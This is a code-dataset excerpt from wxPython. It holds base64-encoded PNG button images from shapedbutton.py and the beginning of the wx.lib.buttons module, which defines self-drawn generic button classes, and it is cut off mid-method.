\"HI9AMv0XRHPlO1I9hxwhGB6BhD/CA2GQjAE7vQxyqvI3spwEEEDkeeT/68+fUdriKBU2wiPI\"\n \"XglD+CQsDO6PMMg5Lb+gp8US3yRBBwABRKZHgAB25yJynYIovpD8ghIvcACVg5xSCEtS5GQO\"\n \"KAAIIPI98p8BmrzgNT2KV5ALXah3fv9G8gHEDxBfQK8YILnIRQYAAUSBVtCMEOKWP6S2OXKs\"\n \"IMcMqg+gyQnhi1sUOQUggCjzyP//z56h9ZZQEhhycYwKYIco/4Alqm8UOgQggCj1CKivgiWz\"\n \"fEdqtGABiGsFIM3k15S7AiCAqOCR///fQHqAX7H0ubA1IVH6MEAtb6nhBoAAoopHoKXYl2fw\"\n \"zI8xRIHomKD2jqlmPUAAUc8joPzy7BnqfZLfcACYPBUtBwgganoEAu48RR0xwQq0qW4tQABR\"\n \"3yPALHMbv0fuvqWBpQABRAuPDAgACKBh4xGAABo2HgEIMABb8EQbIiGeqQAAAABJRU5ErkJg\"\n \"gg==\")\n\n#----------------------------------------------------------------------\nDownButton = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAMgAAADICAMAAACahl6sAAAACXBIWXMAAA7DAAAOwwHHb6hk\"\n \"AAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAA\"\n \"F2+SX8VGAAADAFBMVEX//////8z//5n//2b//zP//wD/zP//zMz/zJn/zGb/zDP/zAD/mf//\"\n \"mcz/mZn/mWb/mTP/mQD/Zv//Zsz/Zpn/Zmb/ZjP/ZgD/M///M8z/M5n/M2b/MzP/MwD/AP//\"\n \"AMz/AJn/AGb/ADP/AADM///M/8zM/5nM/2bM/zPM/wDMzP/MzMzMzJnMzGbMzDPMzADMmf/M\"\n \"mczMmZnMmWbMmTPMmQDMZv/MZszMZpnMZmbMZjPMZgDMM//MM8zMM5nMM2bMMzPMMwDMAP/M\"\n \"AMzMAJnMAGbMADPMAACZ//+Z/8yZ/5mZ/2aZ/zOZ/wCZzP+ZzMyZzJmZzGaZzDOZzACZmf+Z\"\n \"mcyZmZmZmWaZmTOZmQCZZv+ZZsyZZpmZZmaZZjOZZgCZM/+ZM8yZM5mZM2aZMzOZMwCZAP+Z\"\n \"AMyZAJmZAGaZADOZAABm//9m/8xm/5lm/2Zm/zNm/wBmzP9mzMxmzJlmzGZmzDNmzABmmf9m\"\n \"mcxmmZlmmWZmmTNmmQBmZv9mZsxmZplmZmZmZjNmZgBmM/9mM8xmM5lmM2ZmMzNmMwBmAP9m\"\n \"AMxmAJlmAGZmADNmAAAz//8z/8wz/5kz/2Yz/zMz/wAzzP8zzMwzzJkzzGYzzDMzzAAzmf8z\"\n \"mcwzmZkzmWYzmTMzmQAzZv8zZswzZpkzZmYzZjMzZgAzM/8zM8wzM5kzM2YzMzMzMwAzAP8z\"\n \"AMwzAJkzAGYzADMzAAAA//8A/8wA/5kA/2YA/zMA/wAAzP8AzMwAzJkAzGYAzDMAzAAAmf8A\"\n \"mcwAmZkAmWYAmTMAmQAAZv8AZswAZpkAZmYAZjMAZgAAM/8AM8wAM5kAM2YAMzMAMwAAAP8A\"\n \"AMwAAJkAAGYAADMAAADV1dXU1NTT09PS0tLR0dHQ0NDOzs7Nzc3Ly8vKysrJycnIyMjGxsbD\"\n \"w8PCwsL39/f09PTx8fHu7u7p6enk5OTf39/Z2dnW1tbPz8/Hx8fExMS/v7+7u7u3t7e0tLSw\"\n \"sLCtra2pqamlpaWhoaGdnZ2Tk5OPj4////+ZlMjzAAABAHRSTlP/////////////////////\"\n \"////////////////////////////////////////////////////////////////////////\"\n \"////////////////////////////////////////////////////////////////////////\"\n \"////////////////////////////////////////////////////////////////////////\"\n \"////////////////////////////////////////////////////////////////////////\"\n \"//////////////////////////////8AU/cHJQAAIMRJREFUeNpi+D9MAEAAMQwXjwAE0LDx\"\n \"CEAA0cIjb+9/wQE+g8GdNzSwFCCAqO8R7S+4AcQjz549+0B1awECiJoeAbr0KwR8QwNQ4a9f\"\n \"viK8A/IPFS0HCCAG6nvjGy4A8Qsibp5R0ysAAUQVj7yFeeA7CPzADr5DANRHyL6hSpYBCCAq\"\n \"eOQ1NBJgfviJDSB7B9Mvryl3BUAAUeoRkCcgPgA59xcY/IYBKPcXlPEL4Smwb6ApjTr5BSCA\"\n \"KPPI7a+QqEDyxm/sAMUrkJhBRAzEJ+8ocgpAAFHgEQZIbEAiA+aFP1gAmm+Q/PIdyStAvzyl\"\n \"wDUAAcRAYaKCxQXcD2FQgN0zEJ/8gmYaSLRACmWwTz59Its5AAFEpkfewjwBiQhkH2AArL4B\"\n \"e+Yn3C9wrzz9RGbGBwgg8jwCLmrh/vjzG+6Pv38x/QH3ye8/6EkMFiuIbP/06acnZDkJIIAY\"\n \"yEtU4OgA+QIRFX+hANU3KMkLwyPwAgwSJ1/AcUKeVwACiIF8f/z8hUhSf+EewZmuUPMJwiff\"\n \"kYtisFc+PSHDJwABRKpH3oN9AU5TUE/8hccFqk9gSQqpCEb4AZhHEEUxwi/w4uvTk7ckOgwg\"\n \"gBhILXLBsQFJVMgJCs0bEF/AowAlIqBegBbDP38gl8RfYXn+<KEY>dPxE9cY/\"\n \"<KEY>\"\n \"wQZtf4Gi5Mnj9yQ4DiCAGEiKDkgWB3kD4oV/QAAkkOMCWk0g3P0dJ0BvGyO3WUDZ<KEY>\"\n \"DiCAiPcIuAqEFLngDP4PCv6iegPqD2TngZ0IcymssY/mG1gTH1Z4gTP8ExJ8AhBADERHByyT\"\n \"QxPVP2SPQLwB8gRSM+o7om+I6Dti6XvBOipoLWJQgwWYvIjNKQABRKRH3kBzx29o7viH7A+E\"\n \"N34h1QxInQ40gOad78jRhewRcJx8JLLJAhBADMQmqx9IeRzNG6AkBU5OP38gJw945xwToHoK\"\n \"s3ePVJ98fPyIKCcCBBBRHrkJblhBklUYkjdAHgHFBjQygHEBb2wgjZigAQzvYHoFphvqEaLq\"\n \"<KEY>sN0EA6D0DgKfPoF4yB5CpDZknyB55PHDh0S4EiCA\"\n \"CCu5Ayp24f74h5bJQakKxRufEZ749AnmfBj4+BHmmWdP4V4BewSRyBCtLkh18vHjo0dERApA\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>YG9AvcLFq88hcQJMHBe4nUqQADh9cjtb5DaHCV/QH0Bjo1vUF+AG6tAy8Bhf+/D\"\n \"h7tYwYcPSB56AE9o0BwDjhp4/v8ML75B8Qz2iDbeHA8QQAx4Ox+g/AFuW6FkD2juAGcOaPcU\"\n \"6A9QTECiAe6ROwgA8woIgLxyHx43sHhB9clnRCEO8shHcDbD51iAAGLA274CxQd6sgLXHeCy\"\n \"ChQfkAwJSsTALAHyA9gbd7ACRLyAE959aLQ8APkFmA+eIOeXz5+RYwRUBIMyHh7HAgQQA/76\"\n \"HJQ/UMpdSFUOzh3gsgpS1kP9AQlwiEduAwEO34CTGNgrD6A+eQgrxz49hZfI6B4BlSF4EhdA\"\n \"ADHgaV/B4wMlf0Cyx/fvsMwBzhv3kSPiNgzgiBdEXrkPjxpwZnkMTWEIvzxD9cgDbZzOBQgg\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"iAFnR+rXL5QKBNpIBPsDVOg+BRW52veheQPug5sgQIZHoMnrEaTKh9UsiGYz3CNA1VidDBBA\"\n \"WD3yECmjY40PUO4AZg5tSN4AxwTQ9TeRPIKIHjSPwCpGFI+APXMftVn5Edkv4Kb0Q2jTB+uM\"\n \"EEAAMeAYaQB5BDNhgfIHqFECKq1AbUJ4soL6AArI8sh9FI+gRspHhEdAWrC5GSCAGHDUIKCM\"\n \"jlzugvseP0FNRFChCMod4MwBzhuguLhJBY8g2soPYG0XKEDzCDafAAQQA9auLaRGR4kPcN8D\"\n \"lK6AzfVPjx6BcscdaJUBcvsNIMDvEUQjBbdHkDI+oq2PxSNYXA0QQAzYWibf0Uos5PzxGZKs\"\n \"7t2DJ6pbEG+geQSt9AJ7A5rREQC1kY/iGVgqewjrZz4CFfWwngHm1DxAADHgLrHgHoHWHxB/\"\n \"<KEY>\"\n \"<KEY>\"\n \"xIC15AV10VEqQmAGAeePT6Dy6sMHSNWBWlRhAuSMjuhoIVeH2DI6LgCqDe/d/wDrK6D7BCCA\"\n \"<KEY>hR/gJvtkPwBKnbhtTjVPQJLTsiegMmBm3XYPQIQQAwYEYJaYkEL3h+gZvuzp48f\"\n \"AePjLqxgpY9HYKMYaN3ou2g+AQggBrT1SmCPICIEWCeC+ufQgvcTqHV1F+aRm/TxCCRLwPR8\"\n \"+ADrvn1A7ZoABBADZtH7+88fhDf+ghvuYH8A+wWg+hzctoJn8Zuw2hDKhtCYDWBEpx0tj9/D\"\n \"VVIhxwbcI0j90Lt3UZwOEEAMmN1bpN4UrAcC6p5DK0KER27g8wjWbhVsIIUWHgEIIAbUovc7\"\n \"aFQR4Q/IQAMoo3/+DOrUgrqCsMYHvT0CH9dAJFdktwMEEANKI+v7D2SPwFq830EZ/Rmocw5q\"\n \"mMAqCBp55AEyQPIIbKQMXg0DTUR2PEAAMWCOYyEnLFBGB5dYT8G9c1D/A+ILRDUI9QQyG1Yj\"\n \"3kZt+0LyKJo/wIN1yB6BVH2I0WO4PyBDF7eR6to7SI4HCCBsHoE236FVOmjEBFyjQzpStxGl\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"Zgd5hSiPIE90ARM01CMQ295j9whAADGgDMkhWieIzhS4afIAUhUi0hW5HrlLoUfeIwFQ8Qh3\"\n \"PkAAMSAmPb/B50Kgy0sgHgH20UFDP/dBVeHNQeURkE/gDS6AAGJA6YjAptKho7zg3u3nZ8Cm\"\n \"yX1wZ+r2zZsEPQJlwyotcMUFrgthnSrwJArqMNAD1J4gEgCXwCAdoLyO8MY7EAAnL3iUAAQQ\"\n \"A7zd+/07Yk0AzCPfIW2sx5ASC1uDF8UfSBzkLiLK4PUHLDU6Po88gLR/7+LyCGypCkAAwTzy\"\n \"5Su0ZxgGS1h/oK1eoD8egUqOO7ep4pF7pHoE0sHF4hGwV+C5BCCAGFCmEf4gLRaFdW9BvXTI\"\n \"YNwg8cg7BADGCcwjAAGE5JGfSCv84K1eUB0CbCwCPXIbI6Oje+QGmkduIvVKwM2su9jG5Qh4\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"gDWucRNSPIIx3Qavw4nxCHIOgXrkPdQjAAHEgFSLILIIZKwXPHLyGBStd2jvkYdY/IBY6gVM\"\n \"FUgeeQvyBRiA0hbEIwABxABtwiNG4BGD1sBa/dPHR/dAzfdB5hG4P4A+gXoEIICQPQJb7w4b\"\n \"AgJ2qIC1+r170CE5DMejd64w2l3o8yMf0DtTyHn8MU4AHodHeOQtMgBmkptgLwAEEGaMQBZc\"\n \"QponcI/cun0Tt0ewdhexllqwihBzyuAR0R55i90jAAEE9oj2V+gII9Qjf2DNk6fQ5glmsqLY\"\n \"I+i1+WNyY+T9DfBSG4AAYoCVvlCPQBa5w9tZ8ObJ4PEIeoy8fw/OJAABBPLIW3Dp+xvukT/I\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>kX2yE20vEJ4zgoxwXPvPmKRGaKRi83hH8GruSH0RyweAXnizds3\"\n \"<KEY>T+<KEY>\"\n \"<KEY>\"\n \"EaQK8Q9s+QxoTgQywnjnDmKdD7JHcJZk8AVo0KoQuvpaGxYbWKLjI7K7Hz9B9ghY7CHMI8gp\"\n \"C9kjAAGEyyPg6hCLR5BpfB5BDKBAWr3Ia0mxZXLEKrOPH1HZaB6BxchrIIB4BOgVoCcAAgjT\"\n \"I78Ht0dQUxbQJ6AOCtATAAGE6pE/UI9A1gcAPaKN7hEYuIW2cAbDAyD6DswjiGQF8gCqR2CO\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"9ilC1l5Dl8hj8chbSKEFiROYRwACCC2zk+IR6KYEnLLQuhA61gDfu4MUER+RowC2ghzJI5+g\"\n \"<KEY>SAMPyCEAAIccIkke+E+URzJ0VWJMVuGeLsgMRJQ6eQrZeQjyBtIsUwsXq\"\n \"kddQAIwUWIwABBBGjPwmIUYGzCNwn7yGxwhAACHFyC9YHvlFcYwgFtDcgxW88GSFlIpg/kD3\"\n \"yFO4BIEYQUpaAAGEkdnBu1bBY1rPnnzE9Ai6u7FHCGLi8z4Oj3zC45GnxHsEESMAAQT1CGSA\"\n \"DuQVcj2CbR8V0sL9RyiJCppqPuHyCBIbxSOwJgoiQuAeAQggbB75ORQ9AhBAII98/gwdjQed\"\n \"ZwTeY4/dI3eQdrUhOxtl/T582SI0k8N3T6F7A5QXYA7G8AjSRni4R+7dufX+/Vu0lAX3CEAA\"\n \"MUDP84MesPEb6pHvSB75cAdthyTWnXl3kddYIwaqYQNwKHkDOeSfIgEUDtoeK6BHbt9CixBk\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"7h++gXoD4hNIXxfoCYAAwoiRX4gYGZQegWSRV0gxAvEIQACBPHLn2ecv0JOaoCcYQTdNfgJ1\"\n \"lRGrVUnyyEMkb1DBI8C8Cumxv8ESI6DFpgABBPLIm2dfMD3yBbdHkDP5PSwAl0eekuWRT6ge\"\n \"AfvkFWqMgCZ6AAIIPPX2DFz+Qj3yE3zQCXQbK2xf0weMUgrP5iLYtAHk2JCP8O4T3CPIAOED\"\n \"JB9ieuQ+0CNo/nj1ClIhglPWf4AAAnvk7ufPEI/8hMUIaP/n4PLIvbu336P54xU0RsCToQAB\"\n \"BJmeBnrkK+REGsiZg9+huR101II2ikfQAYZHkOsPJI+A2lXkeATU2AdNvYHmQt9hegQcI2Av\"\n \"AAQQzCNfvsKOwvwJPZfiC3yH9L3797DGBEGPPIZ5BKlNhc8jOKp1kEc+YPfIa7hHAAII2SPg\"\n \"XIIcI89AZoAWrN7D6wH0xQyoAz/QI1xweQSrp1DbvqDp6Q/AXhWiFnkJBLBCC+oRgACCeOQZ\"\n \"<KEY>\"\n \"<KEY>eYbLI9rad27ffA9LWC/hHoEMYoO9ABBAlHgEfjwQ+mIGkEegm54hcx3U8MgNLB5B\"\n \"yiMAAQRdCgjyCDS7w058BZ/rACz7IEvxsJxphH2h6APUjI44SYsYj2CkM2iDEeiRW4jCF+oP\"\n \"lLz+HyCAEB75Aj4X88cPZI88HSQeuX8fmLIgHnmF7BFEFvkPEECw5bIgj0AS1w+oR75CD6IB\"\n \"reqGbIMaKI+AGq6QBiMiYSE8AvUAQADh8QikSwLxiDYuj2hj2awGzSHwgV7MniEpHgFvO/8A\"\n \"iRA8HgEIILhHwD5BeOQ7xCNPwR55AN20hWf3oDZmfFDBI+BDwkDNkztoOeQluD58g+QRgACC\"\n \"eeQZ+Ag46PHpMI98gXjk4UB6BLSN88PtW+8wIwTiEdjZIgABBPPIG/A5YwiPQM7eBXd3YQeS\"\n \"EOURlKnnj4gWI3keAWd1bfC8CKo/ECkLthMGIIDgG2HAUYIUI7DzgcAtHUyPwHZoY/MIyqwU\"\n \"YtqDZI+Ahx2ALYu74MoQ3SOvUVLWf4AAQmxNguQScBEMPdkZfGDTp4/Q48zwnwUAW7eEOu0M\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"RnI9QkozHqnAgjZOPsDGF8EeefEC4hFYgxHpdGaAAELeBv4MESdIHoE0E0Art+jnEcisHCiH\"\n \"3EZp9aJ7BMnxAAGE7JGnzyBHvH5F9chTqEe0cZ6ZAc7lmB5BrCkhzSOweV3QmTi3biJ55AWy\"\n \"R96gegQggFBOG3gKOUcU5hPoOaXgsxjBuQTppBL0dfoYay3h055A+hPWkThCCQuUQ+5Cpz/B\"\n \"Aw5wj8CaJ8iOBwgglMMrPqEkrq8wj0BOpkY9coVQskI5eY1Ej4C9Ackh8GFSNH+8Qo+Q/wAB\"\n \"hHqcyNOnz6BxAj/vHXqsJCUe+USGR0BLzZBKrNcvX+JNWP//AwQQqkc+fYJWi9T1yFMSPPIU\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"xMinuNPRI5CzPsFzIe+Rpqcg3sCbQ/7/BwggTI+8hZ8Wjri04hn8ugaERyC7ox7i2M+CvoL0\"\n \"EwGPgIoEyBQC+HC4m+9QmopQf8ByCEqzFwoAAgjbYZqgxPUMfoEDFo+gHDqIiBvUMQdUb3zC\"\n \"mPBE9wi04Y6oP2AFFpYSC4urAQII26GskKUW8KPosXoEtc2IzSN4khW6R57COyCPtCH1B7QC\"\n \"weURLI4GCCCsx+SC55KRTz3H7hFtIj3yCY9HkNbNgFvYHz6AeiDQtTPQLggig0DXNWFzM0AA\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>lDygZ+rDp/OAHnmEOpzyAFqnYHoEW+sXNlYH\"\n \"W4wJ8Qd4lBx0NtFNRDWINT7weQQggHBeSfAKtLMAyRmwqftH8GtS7t+7j76gCZtX0G9OAnvg\"\n \"EyJvQEZogLU5YgfVa2hDEV6jv8Ac60UHAAGE+5KIhw/h909Ai3kMj0BH5RG9RGyNlE9IAHkt\"\n \"OSw2wPeWQOID7g/kcpeo+Pj/HyCA8Fzb8fYh0pH6iOPbUT2Cuk0S9xYwjH1HkCuJoLd9IMUG\"\n \"0ggWvKEI9wae69IAAgjfRSpoHvkI8wjsJGT47S4oHoF5Bst5/E8QQ0SwkwPAdxogzg6ArFdE\"\n \"TVa4+yDIACCA8N4Wg7JzBdx+ghy38gB65iDS+iD0zXmwiwU+YomJjx8ht0NpQ7xx+xasSfIG\"\n \"rZkIbyhC/YHPsQABhPeyobfw+yeQXQD2CHjtFspqofso+z7hHsECYFcr3YdGB2JPNLwaRPMI\"\n \"<KEY>//<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"9WoxxHmkkNOMEDn8NWyiE7nVjpQ/CN+3CRBAxFyZ+AAVIHvkFvaDK7Dd/ATbTHoDdpDc27co\"\n \"mRw2vIvwB3yJ8lsiXAkQQERdtfkWMYANLnHug0reO/AjnmDnvULP5YQf/YK+QRz5KDw0TyCP\"\n \"UsOHqokqdmEAIICIu/wUNb9CVs+CPXIT+eBaZK8gvIM4iAfVG6geeYnqEVh0vCZQnyMAQAAR\"\n \"eR3tK6QuCIZH3qOfA4k42BJVHHEqyxuEJ2Cp6iXCE4g1MxiD7jgBQAARe0Ew0sUA9xC3uSE8\"\n \"8o4IgPAFPDLgyeolcmzAcweukQYsACCAiL+yGeqRe7CLq2Bnx2PGB/RQNchhd2hH5MA21b9G\"\n \"TlOovoAtu3xDdLICAYAAIuES7fvIZ+mjeQRxduJbzNN90FIUYo8UfG0Jki9evkLkjjck3DYP\"\n \"<KEY>m+<KEY>\"\n \"<KEY>\"\n \"<KEY>cI0iYdcHS8JtFhAAFEqkcg6QveCkfxyDvs5ROK\"\n \"N5DiA+yRV8h7KGAl7tt3pLsKIIDI8Mh/XB7BWkIhe+M1si/<KEY>wB5B\"\n \"tLKwxsgbjBh5hRohyFHx+vUbSrzx/z9AAJHnkf+vkDxyg0CMoOYQHJHx+g0sWb0kz0UAAUSm\"\n \"R0C7F+F3HbxHbw2iHR31GjV5gTMK6g5oxIlyZDsHIIDI98h/BmgzHrldi80foLB+jQu8eY3s\"\n \"DQpcAxBAFGgFFcaIrhL6SbzYanM0P6BEBekFLioACCDKPPL/P7QFjFkpolbp8DT2BtUTSEfi\"\n \"UegQgACi1CNA8BJWDKMnrzcQ/Aarp5Aj490Lyl0BEEBU8Mj//69vofVk35IAIFttKQYAAUQV\"\n \"j0ASGTzjox/B/fYdZqMYctI4xQkKAQACiHoe+f8fOtSAWiBD+ihvMbuLVPXG//8AAURNj0CH\"\n \"XCCjKzh78hBvUN1agACivkeAWeYtfo+8fUUDSwECiBYeGRAAEEDDxiMAATRsPAIQYAAZi6PF\"\n \"fdLmvAAAAABJRU5ErkJggg==\")\n\n", "id": "10491270", "language": "Python", "matching_score": 11.370100021362305, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/shapedbutton.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.lib.buttons\n# Purpose: Various kinds of generic buttons, (not native controls but\n# self-drawn.)\n#\n# Author: <NAME>\n#\n# Created: 9-Dec-1999\n# RCS-ID: $Id: buttons.py 67475 2011-04-13 18:23:42Z RD $\n# Copyright: (c) 1999 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n# 11/30/2003 - <NAME> (<EMAIL>)\n#\n# o Updated for wx namespace\n# o Tested with updated demo\n# \n\n\"\"\"\nThis module implements various forms of generic buttons, meaning that\nthey are not built on native controls but are self-drawn. They act\nlike normal buttons but you are able to better control how they look,\nbevel width, colours, etc.\n\"\"\"\n\nimport wx\nimport imageutils\n\n\n#----------------------------------------------------------------------\n\nclass GenButtonEvent(wx.PyCommandEvent):\n \"\"\"Event sent from the generic buttons when the button is activated. \"\"\"\n def __init__(self, eventType, id):\n wx.PyCommandEvent.__init__(self, eventType, id)\n self.isDown = False\n self.theButton = None\n\n def SetIsDown(self, isDown):\n self.isDown = isDown\n\n def GetIsDown(self):\n return self.isDown\n\n def SetButtonObj(self, btn):\n self.theButton = btn\n\n def GetButtonObj(self):\n return self.theButton\n\n\n#----------------------------------------------------------------------\n\nclass GenButton(wx.PyControl):\n \"\"\"A generic button, and base class for the other generic buttons.\"\"\"\n\n labelDelta = 1\n\n def __init__(self, parent, id=-1, label='',\n pos = wx.DefaultPosition, size = wx.DefaultSize,\n style = 0, validator = wx.DefaultValidator,\n name = \"genbutton\"):\n cstyle = style\n if cstyle & wx.BORDER_MASK == 0:\n cstyle = wx.BORDER_NONE\n wx.PyControl.__init__(self, parent, id, pos, size, cstyle, validator, name)\n \n self.up = True\n self.hasFocus = False\n self.style = style\n if style & wx.BORDER_NONE:\n self.bezelWidth = 0\n self.useFocusInd = False\n else:\n self.bezelWidth = 2\n self.useFocusInd = True\n\n self.SetLabel(label)\n self.InheritAttributes()\n self.SetInitialSize(size)\n self.InitColours()\n\n self.Bind(wx.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n self.Bind(wx.EVT_LEFT_DCLICK, self.OnLeftDown)\n self.Bind(wx.EVT_MOTION, self.OnMotion)\n self.Bind(wx.EVT_SET_FOCUS, self.OnGainFocus)\n self.Bind(wx.EVT_KILL_FOCUS, self.OnLoseFocus)\n self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown)\n self.Bind(wx.EVT_KEY_UP, self.OnKeyUp)\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_ERASE_BACKGROUND, lambda evt: None)\n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.InitOtherEvents()\n\n def InitOtherEvents(self):\n \"\"\"\n Override in a subclass to initialize any other events that\n need to be bound. Added so __init__ doesn't need to be\n overriden, which is complicated with multiple inheritance\n \"\"\"\n pass\n\n\n def SetInitialSize(self, size=None):\n \"\"\"\n Given the current font and bezel width settings, calculate\n and set a good size.\n \"\"\"\n if size is None:\n size = wx.DefaultSize \n wx.PyControl.SetInitialSize(self, size)\n SetBestSize = SetInitialSize\n \n\n def DoGetBestSize(self):\n \"\"\"\n Overridden base class virtual. Determines the best size of the\n button based on the label and bezel size.\n \"\"\"\n w, h, useMin = self._GetLabelSize()\n if self.style & wx.BU_EXACTFIT:\n width = w + 2 + 2 * self.bezelWidth + 4 * int(self.useFocusInd)\n height = h + 2 + 2 * self.bezelWidth + 4 * int(self.useFocusInd)\n else:\n defSize = wx.Button.GetDefaultSize()\n width = 12 + w\n if useMin and width < defSize.width:\n width = defSize.width\n height = 11 + h\n if useMin and height < defSize.height:\n height = defSize.height\n width = width + self.bezelWidth - 1\n height = height + self.bezelWidth - 1\n return (width, height)\n\n\n def AcceptsFocus(self):\n \"\"\"Overridden base class virtual.\"\"\"\n return self.IsShown() and self.IsEnabled()\n\n\n def GetDefaultAttributes(self):\n \"\"\"\n Overridden base class virtual. By default we should use\n the same font/colour attributes as the native Button.\n \"\"\"\n return wx.Button.GetClassDefaultAttributes()\n\n\n def ShouldInheritColours(self):\n \"\"\"\n Overridden base class virtual. Buttons usually don't inherit\n the parent's colours.\n \"\"\"\n return False\n \n\n def Enable(self, enable=True):\n if enable != self.IsEnabled():\n wx.PyControl.Enable(self, enable)\n self.Refresh()\n\n\n def SetBezelWidth(self, width):\n \"\"\"Set the width of the 3D effect\"\"\"\n self.bezelWidth = width\n\n def GetBezelWidth(self):\n \"\"\"Return the width of the 3D effect\"\"\"\n return self.bezelWidth\n\n def SetUseFocusIndicator(self, flag):\n \"\"\"Specifiy if a focus indicator (dotted line) should be used\"\"\"\n self.useFocusInd = flag\n\n def GetUseFocusIndicator(self):\n \"\"\"Return focus indicator flag\"\"\"\n return self.useFocusInd\n\n\n def InitColours(self):\n \"\"\"\n Calculate a new set of highlight and shadow colours based on\n the background colour. Works okay if the colour is dark...\n \"\"\"\n faceClr = self.GetBackgroundColour()\n r, g, b = faceClr.Get()\n fr, fg, fb = min(255,r+32), min(255,g+32), min(255,b+32)\n self.faceDnClr = wx.Colour(fr, fg, fb)\n sr, sg, sb = max(0,r-32), max(0,g-32), max(0,b-32)\n self.shadowPenClr = wx.Colour(sr,sg,sb)\n hr, hg, hb = min(255,r+64), min(255,g+64), min(255,b+64)\n self.highlightPenClr = wx.Colour(hr,hg,hb)\n self.focusClr = wx.Colour(hr, hg, hb)\n\n \n def SetBackgroundColour(self, colour):\n wx.PyControl.SetBackgroundColour(self, colour)\n self.InitColours()\n\n\n def SetForegroundColour(self, colour):\n wx.PyControl.SetForegroundColour(self, colour)\n self.InitColours()\n\n def SetDefault(self):\n tlw = wx.GetTopLevelParent(self)\n if hasattr(tlw, 'SetDefaultItem'):\n tlw.SetDefaultItem(self)\n \n def _GetLabelSize(self):\n \"\"\" used internally \"\"\"\n w, h = self.GetTextExtent(self.GetLabel())\n return w, h, True\n\n\n def Notify(self):\n evt = GenButtonEvent(wx.wxEVT_COMMAND_BUTTON_CLICKED, self.GetId())\n evt.SetIsDown(not self.up)\n evt.SetButtonObj(self)\n evt.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(evt)\n\n\n def DrawBezel(self, dc, x1, y1, x2, y2):\n # draw the upper left sides\n if self.up:\n dc.SetPen(wx.Pen(self.highlightPenClr, 1, wx.SOLID))\n else:\n dc.SetPen(wx.Pen(self.shadowPenClr, 1, wx.SOLID))\n for i in range(self.bezelWidth):\n dc.DrawLine(x1+i, y1, x1+i, y2-i)\n dc.DrawLine(x1, y1+i, x2-i, y1+i)\n\n # draw the lower right sides\n if self.up:\n dc.SetPen(wx.Pen(self.shadowPenClr, 1, wx.SOLID))\n else:\n dc.SetPen(wx.Pen(self.highlightPenClr, 1, wx.SOLID))\n for i in range(self.bezelWidth):\n dc.DrawLine(x1+i, y2-i, x2+1, y2-i)\n dc.DrawLine(x2-i, y1+i, x2-i, y2)\n\n\n def DrawLabel(self, dc, width, height, dx=0, dy=0):\n dc.SetFont(self.GetFont())\n if self.IsEnabled():\n dc.SetTextForeground(self.GetForegroundColour())\n else:\n dc.SetTextForeground(wx.SystemSettings.GetColour(wx.SYS_COLOUR_GRAYTEXT))\n label = self.GetLabel()\n tw, th = dc.GetTextExtent(label)\n if not self.up:\n dx = dy = self.labelDelta\n dc.DrawText(label, (width-tw)/2+dx, (height-th)/2+dy)\n\n\n def DrawFocusIndicator(self, dc, w, h):\n bw = self.bezelWidth\n textClr = self.GetForegroundColour()\n focusIndPen = wx.Pen(textClr, 1, wx.USER_DASH)\n focusIndPen.SetDashes([1,1])\n focusIndPen.SetCap(wx.CAP_BUTT)\n\n if wx.Platform == \"__WXMAC__\":\n dc.SetLogicalFunction(wx.XOR)\n else:\n focusIndPen.SetColour(self.focusClr)\n dc.SetLogicalFunction(wx.INVERT)\n dc.SetPen(focusIndPen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(bw+2,bw+2, w-bw*2-4, h-bw*2-4)\n dc.SetLogicalFunction(wx.COPY)\n\n \n def OnPaint(self, event):\n (width, height) = self.GetClientSizeTuple()\n x1 = y1 = 0\n x2 = width-1\n y2 = height-1\n\n dc = wx.PaintDC(self)\n brush = self.GetBackgroundBrush(dc)\n if brush is not None:\n dc.SetBackground(brush)\n dc.Clear()\n\n self.DrawBezel(dc, x1, y1, x2, y2)\n self.DrawLabel(dc, width, height)\n if self.hasFocus and self.useFocusInd:\n self.DrawFocusIndicator(dc, width, height)\n\n\n def OnSize(self, event):\n self.Refresh()\n event.Skip()\n\n\n def GetBackgroundBrush(self, dc):\n if self.up:\n colBg = self.GetBackgroundColour()\n brush = wx.Brush(colBg, wx.SOLID)\n if self.style & wx.BORDER_NONE:\n myAttr = self.GetDefaultAttributes()\n parAttr = self.GetParent().GetDefaultAttributes()\n myDef = colBg == myAttr.colBg\n parDef = self.GetParent().GetBackgroundColour() == parAttr.colBg\n if myDef and parDef:\n if wx.Platform == \"__WXMAC__\":\n brush.MacSetTheme(1) # 1 == kThemeBrushDialogBackgroundActive\n elif wx.Platform == \"__WXMSW__\":\n if self.DoEraseBackground(dc):\n brush = None\n elif myDef and not parDef:\n colBg = self.GetParent().GetBackgroundColour()\n brush = wx.Brush(colBg, wx.SOLID)\n else:\n # this line assumes that a pressed button should be hilighted with\n # a solid colour even if the background is supposed to be 